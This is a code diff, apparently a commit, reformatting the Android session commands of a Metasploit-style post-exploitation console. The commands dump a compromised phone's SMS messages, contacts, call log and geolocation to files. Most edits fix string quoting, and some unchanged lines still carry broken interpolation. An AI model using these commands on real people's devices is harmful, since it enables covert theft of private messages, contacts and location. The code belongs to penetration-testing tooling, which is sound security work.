@@ -54,14 +54,14 @@ def cmd_device_shutdown(*args)
54
54
device_shutdown_opts = Rex ::Parser ::Arguments . new (
55
55
'-h' => [ false , 'Help Banner' ] ,
56
56
'-t' => [ false , 'Shutdown after n seconds' ]
57
- )
57
+ )
58
58
59
- device_shutdown_opts . parse ( args ) { | opt , idx , val |
59
+ device_shutdown_opts . parse ( args ) { | opt , idx , val |
60
60
case opt
61
61
when '-h'
62
- print_line ( 'Usage: device_shutdown [options]\n' )
63
- print_line ( 'Shutdown device.' )
64
- print_line ( device_shutdown_opts . usage )
62
+ print_line ( 'Usage: device_shutdown [options]\n' )
63
+ print_line ( 'Shutdown device.' )
64
+ print_line ( device_shutdown_opts . usage )
65
65
return
66
66
when '-t'
67
67
seconds = val . to_i
@@ -83,14 +83,14 @@ def cmd_dump_sms(*args)
83
83
dump_sms_opts = Rex ::Parser ::Arguments . new (
84
84
'-h' => [ false , 'Help Banner' ] ,
85
85
'-o' => [ false , 'Output path for sms list' ]
86
- )
86
+ )
87
87
88
- dump_sms_opts . parse ( args ) { | opt , idx , val |
88
+ dump_sms_opts . parse ( args ) { | opt , idx , val |
89
89
case opt
90
90
when '-h'
91
- print_line ( 'Usage: dump_sms [options]\n' )
92
- print_line ( 'Get sms messages.' )
93
- print_line ( dump_sms_opts . usage )
91
+ print_line ( 'Usage: dump_sms [options]\n' )
92
+ print_line ( 'Get sms messages.' )
93
+ print_line ( dump_sms_opts . usage )
94
94
return
95
95
when '-o'
96
96
path = val
@@ -105,7 +105,7 @@ def cmd_dump_sms(*args)
105
105
begin
106
106
info = client . sys . config . sysinfo
107
107
108
- ::File . open ( path , 'wb' ) do |fd |
108
+ ::File . open ( path , 'wb' ) do |fd |
109
109
110
110
fd . write ( '\n=====================\n' )
111
111
fd . write ( '[+] Sms messages dump\n' )
@@ -149,24 +149,24 @@ def cmd_dump_sms(*args)
149
149
time = Time . at ( time )
150
150
151
151
fd . write ( "Date\t : #{ time . strftime ( '%Y-%m-%d %H:%M:%S' ) } \n " )
152
- fd . write ( ' Address\t: #{a['address ']}\n' )
152
+ fd . write ( " Address\t : #{ a [ 'address' ] } \n " )
153
153
fd . write ( 'Status\t: #{status}\n' )
154
- fd . write ( ' Message\t: #{a['body ']}\n\n' )
154
+ fd . write ( " Message\t : #{ a [ 'body' ] } \n \n " )
155
155
}
156
156
end
157
157
158
- path = ::File . expand_path ( path )
158
+ path = ::File . expand_path ( path )
159
159
160
- print_status ( ' Sms #{smsList.count == 1? 'message ': ' messages '} saved to: #{path}' )
161
- Rex ::Compat . open_file ( path )
160
+ print_status ( " Sms #{ smsList . count == 1 ? 'message' : 'messages' } saved to: #{ path } " )
161
+ Rex ::Compat . open_file ( path )
162
162
163
163
return true
164
164
rescue
165
165
print_error ( 'Error getting messages' )
166
166
return false
167
167
end
168
168
else
169
- print_status ( 'No sms messages were found!' )
169
+ print_status ( 'No sms messages were found!' )
170
170
return false
171
171
end
172
172
end
@@ -180,14 +180,14 @@ def cmd_dump_contacts(*args)
180
180
'-h' => [ false , 'Help Banner' ] ,
181
181
'-o' => [ false , 'Output path for contacts list' ]
182
182
183
- )
183
+ )
184
184
185
- dump_contacts_opts . parse ( args ) { | opt , idx , val |
185
+ dump_contacts_opts . parse ( args ) { | opt , idx , val |
186
186
case opt
187
187
when '-h'
188
- print_line ( 'Usage: dump_contacts [options]\n' )
189
- print_line ( 'Get contacts list.' )
190
- print_line ( dump_contacts_opts . usage )
188
+ print_line ( 'Usage: dump_contacts [options]\n' )
189
+ print_line ( 'Get contacts list.' )
190
+ print_line ( dump_contacts_opts . usage )
191
191
return
192
192
when '-o'
193
193
path = val
@@ -198,26 +198,26 @@ def cmd_dump_contacts(*args)
198
198
contactList = client . android . dump_contacts
199
199
200
200
if contactList . count > 0
201
- print_status ( ' Fetching #{contactList.count} #{contactList.count == 1? 'contact ': ' contacts '} into list' )
201
+ print_status ( " Fetching #{ contactList . count } #{ contactList . count == 1 ? 'contact' : 'contacts' } into list" )
202
202
begin
203
203
info = client . sys . config . sysinfo
204
204
205
- ::File . open ( path , 'wb' ) do |fd |
205
+ ::File . open ( path , 'wb' ) do |fd |
206
206
207
207
fd . write ( '\n======================\n' )
208
208
fd . write ( '[+] Contacts list dump\n' )
209
209
fd . write ( '======================\n\n' )
210
210
211
211
time = Time . new
212
212
fd . write ( 'Date: #{time.inspect}\n' )
213
- fd . write ( ' OS: #{info['OS ']}\n' )
213
+ fd . write ( " OS: #{ info [ 'OS' ] } \n " )
214
214
fd . write ( 'Remote IP: #{client.sock.peerhost}\n' )
215
215
fd . write ( 'Remote Port: #{client.sock.peerport}\n\n' )
216
216
217
217
contactList . each_with_index { |c , index |
218
218
219
219
fd . write ( '##{(index.to_i + 1).to_s()}\n' )
220
- fd . write ( ' Name\t: #{c['name ']}\n' )
220
+ fd . write ( " Name\t : #{ c [ 'name' ] } \n " )
221
221
222
222
if c [ 'number' ] . count > 0
223
223
( c [ 'number' ] ) . each { |n |
@@ -235,17 +235,17 @@ def cmd_dump_contacts(*args)
235
235
}
236
236
end
237
237
238
- path = ::File . expand_path ( path )
239
- print_status ( 'Contacts list saved to: #{path}' )
240
- Rex ::Compat . open_file ( path )
238
+ path = ::File . expand_path ( path )
239
+ print_status ( 'Contacts list saved to: #{path}' )
240
+ Rex ::Compat . open_file ( path )
241
241
242
242
return true
243
243
rescue
244
244
print_error ( 'Error getting contacts list' )
245
245
return false
246
246
end
247
247
else
248
- print_status ( 'No contacts were found!' )
248
+ print_status ( 'No contacts were found!' )
249
249
return false
250
250
end
251
251
end
@@ -258,14 +258,14 @@ def cmd_geolocate(*args)
258
258
'-h' => [ false , 'Help Banner' ] ,
259
259
'-g' => [ false , 'Generate map using google-maps' ]
260
260
261
- )
261
+ )
262
262
263
- geolocate_opts . parse ( args ) { | opt , idx , val |
263
+ geolocate_opts . parse ( args ) { | opt , idx , val |
264
264
case opt
265
265
when '-h'
266
- print_line ( 'Usage: geolocate [options]\n' )
267
- print_line ( 'Get current location using geolocation.' )
268
- print_line ( geolocate_opts . usage )
266
+ print_line ( 'Usage: geolocate [options]\n' )
267
+ print_line ( 'Get current location using geolocation.' )
268
+ print_line ( geolocate_opts . usage )
269
269
return
270
270
when '-g'
271
271
generate_map = true
@@ -275,13 +275,13 @@ def cmd_geolocate(*args)
275
275
geo = client . android . geolocate
276
276
277
277
print_status ( 'Current Location:\n' )
278
- print_line ( ' \tLatitude : #{geo[0]['lat ']}' )
279
- print_line ( ' \tLongitude : #{geo[0]['long ']}\n' )
280
- print_line ( ' To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{geo[0]['lat ']},#{geo[0][' long ']}&sensor=true\n' )
278
+ print_line ( " \t Latitude : #{ geo [ 0 ] [ 'lat' ] } " )
279
+ print_line ( " \t Longitude : #{ geo [ 0 ] [ 'long' ] } \n " )
280
+ print_line ( " To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{ geo [ 0 ] [ 'lat' ] } ,#{ geo [ 0 ] [ 'long' ] } &sensor=true\n " )
281
281
282
282
283
283
if generate_map
284
- link = ' https://maps.google.com/maps?q=#{geo[0]['lat ']},#{geo[0][' long ']}'
284
+ link = " https://maps.google.com/maps?q=#{ geo [ 0 ] [ 'lat' ] } ,#{ geo [ 0 ] [ 'long' ] } "
285
285
print_status ( 'Generated map on google-maps:' )
286
286
print_status ( '#{link}' )
287
287
Rex ::Compat . open_browser ( link )
@@ -297,14 +297,14 @@ def cmd_dump_calllog(*args)
297
297
'-h' => [ false , 'Help Banner' ] ,
298
298
'-o' => [ false , 'Output path for call log' ]
299
299
300
- )
300
+ )
301
301
302
- dump_calllog_opts . parse ( args ) { | opt , idx , val |
302
+ dump_calllog_opts . parse ( args ) { | opt , idx , val |
303
303
case opt
304
304
when '-h'
305
- print_line ( 'Usage: dump_calllog [options]\n' )
306
- print_line ( 'Get call log.' )
307
- print_line ( dump_calllog_opts . usage )
305
+ print_line ( 'Usage: dump_calllog [options]\n' )
306
+ print_line ( 'Get call log.' )
307
+ print_line ( dump_calllog_opts . usage )
308
308
return
309
309
when '-o'
310
310
path = val
@@ -314,45 +314,45 @@ def cmd_dump_calllog(*args)
314
314
log = client . android . dump_calllog
315
315
316
316
if log . count > 0
317
- print_status ( ' Fetching #{log.count} #{log.count == 1? 'entry ': ' entries '}' )
317
+ print_status ( " Fetching #{ log . count } #{ log . count == 1 ? 'entry' : 'entries' } " )
318
318
begin
319
319
info = client . sys . config . sysinfo
320
320
321
- ::File . open ( path , 'wb' ) do |fd |
321
+ ::File . open ( path , 'wb' ) do |fd |
322
322
323
323
fd . write ( '\n=================\n' )
324
324
fd . write ( '[+] Call log dump\n' )
325
325
fd . write ( '=================\n\n' )
326
326
327
327
time = Time . new
328
328
fd . write ( 'Date: #{time.inspect}\n' )
329
- fd . write ( ' OS: #{info['OS ']}\n' )
329
+ fd . write ( " OS: #{ info [ 'OS' ] } \n " )
330
330
fd . write ( 'Remote IP: #{client.sock.peerhost}\n' )
331
331
fd . write ( 'Remote Port: #{client.sock.peerport}\n\n' )
332
332
333
333
log . each_with_index { |a , index |
334
334
335
335
fd . write ( '##{(index.to_i + 1).to_s()}\n' )
336
336
337
- fd . write ( ' Number\t: #{a['number ']}\n' )
338
- fd . write ( ' Name\t: #{a['name ']}\n' )
339
- fd . write ( ' Date\t: #{a['date ']}\n' )
340
- fd . write ( ' Type\t: #{a['type ']}\n' )
341
- fd . write ( ' Duration: #{a['duration ']}\n\n' )
337
+ fd . write ( " Number\t : #{ a [ 'number' ] } \n " )
338
+ fd . write ( " Name\t : #{ a [ 'name' ] } \n " )
339
+ fd . write ( " Date\t : #{ a [ 'date' ] } \n " )
340
+ fd . write ( " Type\t : #{ a [ 'type' ] } \n " )
341
+ fd . write ( " Duration: #{ a [ 'duration' ] } \n \n " )
342
342
}
343
343
end
344
344
345
- path = ::File . expand_path ( path )
346
- print_status ( 'Call log saved to: #{path}' )
347
- Rex ::Compat . open_file ( path )
345
+ path = ::File . expand_path ( path )
346
+ print_status ( 'Call log saved to: #{path}' )
347
+ Rex ::Compat . open_file ( path )
348
348
349
349
return true
350
350
rescue
351
351
print_error ( 'Error getting call log' )
352
352
return false
353
353
end
354
354
else
355
- print_status ( 'No call log entries were found!' )
355
+ print_status ( 'No call log entries were found!' )
356
356
return false
357
357
end
358
358
end
@@ -362,14 +362,14 @@ def cmd_check_root(*args)
362
362
363
363
check_root_opts = Rex ::Parser ::Arguments . new (
364
364
'-h' => [ false , 'Help Banner' ]
365
- )
365
+ )
366
366
367
- check_root_opts . parse ( args ) { | opt , idx , val |
367
+ check_root_opts . parse ( args ) { | opt , idx , val |
368
368
case opt
369
369
when '-h'
370
- print_line ( 'Usage: check_root [options]\n' )
371
- print_line ( 'Check if device is rooted.' )
372
- print_line ( check_root_opts . usage )
370
+ print_line ( 'Usage: check_root [options]\n' )
371
+ print_line ( 'Check if device is rooted.' )
372
+ print_line ( check_root_opts . usage )
373
373
return
374
374
end
375
375
}
0 commit comments